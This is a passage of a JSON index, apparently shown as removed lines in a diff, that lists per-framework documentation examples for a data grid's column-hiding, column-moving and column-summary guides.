hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example1.js", - "file": "guides__columns__column-hiding__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-hiding/react/example1.tsx", - "file": "guides__columns__column-hiding__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example1.ts", - "file": "guides__columns__column-hiding__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-hiding/vue/example1.vue", - "file": "guides__columns__column-hiding__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-hiding/angular/example2.ts", - "file": "guides__columns__column-hiding__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify columns hidden by default", - "docPermalink": "/column-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example2.js", - "file": "guides__columns__column-hiding__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify columns hidden by default", - "docPermalink": "/column-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-hiding/react/example2.tsx", - "file": "guides__columns__column-hiding__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify columns hidden by default", - "docPermalink": "/column-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example2.ts", - "file": "guides__columns__column-hiding__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify columns hidden by default", - "docPermalink": "/column-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-hiding/vue/example2.vue", - "file": "guides__columns__column-hiding__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example2", - "exampleTitle": "Step 1: Specify columns hidden by default", - "docPermalink": "/column-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-hiding/angular/example3.ts", - "file": "guides__columns__column-hiding__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/column-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example3.js", - "file": "guides__columns__column-hiding__javascript__example3.js.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/column-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-hiding/react/example3.tsx", - "file": "guides__columns__column-hiding__react__example3.tsx.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/column-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example3.ts", - "file": "guides__columns__column-hiding__javascript__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/column-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-hiding/vue/example3.vue", - "file": "guides__columns__column-hiding__vue__example3.vue.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example3", - "exampleTitle": "Step 2: Show UI indicators", - "docPermalink": "/column-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-hiding/angular/example4.ts", - "file": "guides__columns__column-hiding__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/column-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example4.js", - "file": "guides__columns__column-hiding__javascript__example4.js.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/column-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-hiding/react/example4.tsx", - "file": "guides__columns__column-hiding__react__example4.tsx.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/column-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example4.ts", - "file": "guides__columns__column-hiding__javascript__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/column-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-hiding/vue/example4.vue", - "file": "guides__columns__column-hiding__vue__example4.vue.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example4", - "exampleTitle": "Step 3: Set up context menu items", - "docPermalink": "/column-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-hiding/angular/example5.ts", - "file": "guides__columns__column-hiding__angular__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/column-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example5.js", - "file": "guides__columns__column-hiding__javascript__example5.js.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/column-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-hiding/react/example5.tsx", - "file": "guides__columns__column-hiding__react__example5.tsx.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/column-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example5.ts", - "file": "guides__columns__column-hiding__javascript__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/column-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-hiding/vue/example5.vue", - "file": "guides__columns__column-hiding__vue__example5.vue.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example5", - "exampleTitle": "Step 3: Set up context menu items (2)", - "docPermalink": "/column-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-hiding/angular/example6.ts", - "file": "guides__columns__column-hiding__angular__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/column-hiding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example6.js", - "file": "guides__columns__column-hiding__javascript__example6.js.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/column-hiding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-hiding/react/example6.tsx", - "file": "guides__columns__column-hiding__react__example6.tsx.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/column-hiding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-hiding/javascript/example6.ts", - "file": "guides__columns__column-hiding__javascript__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/column-hiding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-hiding/vue/example6.vue", - "file": "guides__columns__column-hiding__vue__example6.vue.json", - "breadcrumb": [ - "Columns", - "Column hiding" - ], - "guide": "guides/columns/column-hiding/column-hiding.md", - "guideTitle": "Column hiding", - "exampleId": "example6", - "exampleTitle": "Step 4: Set up copy and paste behavior", - "docPermalink": "/column-hiding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-moving/angular/example1.ts", - "file": "guides__columns__column-moving__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-moving", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example1.js", - "file": "guides__columns__column-moving__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-moving", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-moving/react/example1.tsx", - "file": "guides__columns__column-moving__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-moving", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example1.ts", - "file": "guides__columns__column-moving__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-moving", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-moving/vue/example1.vue", - "file": "guides__columns__column-moving__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-moving", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-moving/angular/example2.ts", - "file": "guides__columns__column-moving__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example2", - "exampleTitle": "Move column headers", - "docPermalink": "/column-moving", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example2.js", - "file": "guides__columns__column-moving__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example2", - "exampleTitle": "Move column headers", - "docPermalink": "/column-moving", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-moving/react/example2.tsx", - "file": "guides__columns__column-moving__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example2", - "exampleTitle": "Move column headers", - "docPermalink": "/column-moving", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example2.ts", - "file": "guides__columns__column-moving__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example2", - "exampleTitle": "Move column headers", - "docPermalink": "/column-moving", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-moving/vue/example2.vue", - "file": "guides__columns__column-moving__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example2", - "exampleTitle": "Move column headers", - "docPermalink": "/column-moving", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-moving/angular/example3.ts", - "file": "guides__columns__column-moving__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example3", - "exampleTitle": "Move column headers (2)", - "docPermalink": "/column-moving", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example3.js", - "file": "guides__columns__column-moving__javascript__example3.js.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example3", - "exampleTitle": "Move column headers (2)", - "docPermalink": "/column-moving", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-moving/react/example3.tsx", - "file": "guides__columns__column-moving__react__example3.tsx.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example3", - "exampleTitle": "Move column headers (2)", - "docPermalink": "/column-moving", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example3.ts", - "file": "guides__columns__column-moving__javascript__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example3", - "exampleTitle": "Move column headers (2)", - "docPermalink": "/column-moving", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-moving/vue/example3.vue", - "file": "guides__columns__column-moving__vue__example3.vue.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example3", - "exampleTitle": "Move column headers (2)", - "docPermalink": "/column-moving", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-moving/angular/example4.ts", - "file": "guides__columns__column-moving__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example4", - "exampleTitle": "Control column moving", - "docPermalink": "/column-moving", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example4.js", - "file": "guides__columns__column-moving__javascript__example4.js.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example4", - "exampleTitle": "Control column moving", - "docPermalink": "/column-moving", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-moving/react/example4.tsx", - "file": "guides__columns__column-moving__react__example4.tsx.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example4", - "exampleTitle": "Control column moving", - "docPermalink": "/column-moving", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-moving/javascript/example4.ts", - "file": "guides__columns__column-moving__javascript__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example4", - "exampleTitle": "Control column moving", - "docPermalink": "/column-moving", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-moving/vue/example4.vue", - "file": "guides__columns__column-moving__vue__example4.vue.json", - "breadcrumb": [ - "Columns", - "Column moving" - ], - "guide": "guides/columns/column-moving/column-moving.md", - "guideTitle": "Column moving", - "exampleId": "example4", - "exampleTitle": "Control column moving", - "docPermalink": "/column-moving", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example10.js", - "file": "guides__columns__column-summary__javascript__example10.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example10", - "exampleTitle": "Force numeric values", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example10.tsx", - "file": "guides__columns__column-summary__react__example10.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example10", - "exampleTitle": "Force numeric values", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example10.ts", - "file": "guides__columns__column-summary__javascript__example10.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example10", - "exampleTitle": "Force numeric values", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example10.vue", - "file": "guides__columns__column-summary__vue__example10.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example10", - "exampleTitle": "Force numeric values", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example11.js", - "file": "guides__columns__column-summary__javascript__example11.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example11", - "exampleTitle": "Throw data type errors", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example11.tsx", - "file": "guides__columns__column-summary__react__example11.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example11", - "exampleTitle": "Throw data type errors", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example11.ts", - "file": "guides__columns__column-summary__javascript__example11.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example11", - "exampleTitle": "Throw data type errors", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example11.vue", - "file": "guides__columns__column-summary__vue__example11.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example11", - "exampleTitle": "Throw data type errors", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example12.js", - "file": "guides__columns__column-summary__javascript__example12.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example12", - "exampleTitle": "Round a column summary result", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example12.tsx", - "file": "guides__columns__column-summary__react__example12.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example12", - "exampleTitle": "Round a column summary result", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example12.ts", - "file": "guides__columns__column-summary__javascript__example12.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example12", - "exampleTitle": "Round a column summary result", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example12.vue", - "file": "guides__columns__column-summary__vue__example12.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example12", - "exampleTitle": "Round a column summary result", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/angular/example1.ts", - "file": "guides__columns__column-summary__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example1.js", - "file": "guides__columns__column-summary__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example1.tsx", - "file": "guides__columns__column-summary__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example1.ts", - "file": "guides__columns__column-summary__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example1.vue", - "file": "guides__columns__column-summary__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/angular/example2.ts", - "file": "guides__columns__column-summary__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example2", - "exampleTitle": "Step 5: Make room for the destination cell", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example2.js", - "file": "guides__columns__column-summary__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example2", - "exampleTitle": "Step 5: Make room for the destination cell", - "docPermalink": "/column-summary", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-summary/react/example2.tsx", - "file": "guides__columns__column-summary__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example2", - "exampleTitle": "Step 5: Make room for the destination cell", - "docPermalink": "/column-summary", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-summary/javascript/example2.ts", - "file": "guides__columns__column-summary__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example2", - "exampleTitle": "Step 5: Make room for the destination cell", - "docPermalink": "/column-summary", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-summary/vue/example2.vue", - "file": "guides__columns__column-summary__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example2", - "exampleTitle": "Step 5: Make room for the destination cell", - "docPermalink": "/column-summary", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-summary/angular/example3.ts", - "file": "guides__columns__column-summary__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example3", - "exampleTitle": "Set up column summaries, using a function (2)", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/angular/example4.ts", - "file": "guides__columns__column-summary__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example4", - "exampleTitle": "Set up column summaries, using a function (4)", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/angular/example5.ts", - "file": "guides__columns__column-summary__angular__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example5", - "exampleTitle": "Implement a custom summary function (2)", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/angular/example6.ts", - "file": "guides__columns__column-summary__angular__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example6", - "exampleTitle": "Round a column summary result (2)", - "docPermalink": "/column-summary", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-summary/angular/example7.ts", - "file": "guides__columns__column-summary__angular__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column summary" - ], - "guide": "guides/columns/column-summary/column-summary.md", - "guideTitle": "Column summary", - "exampleId": "example7", - "exampleTitle": "Set up column summaries, using a function", - "docPermalink": "/column-summary", - 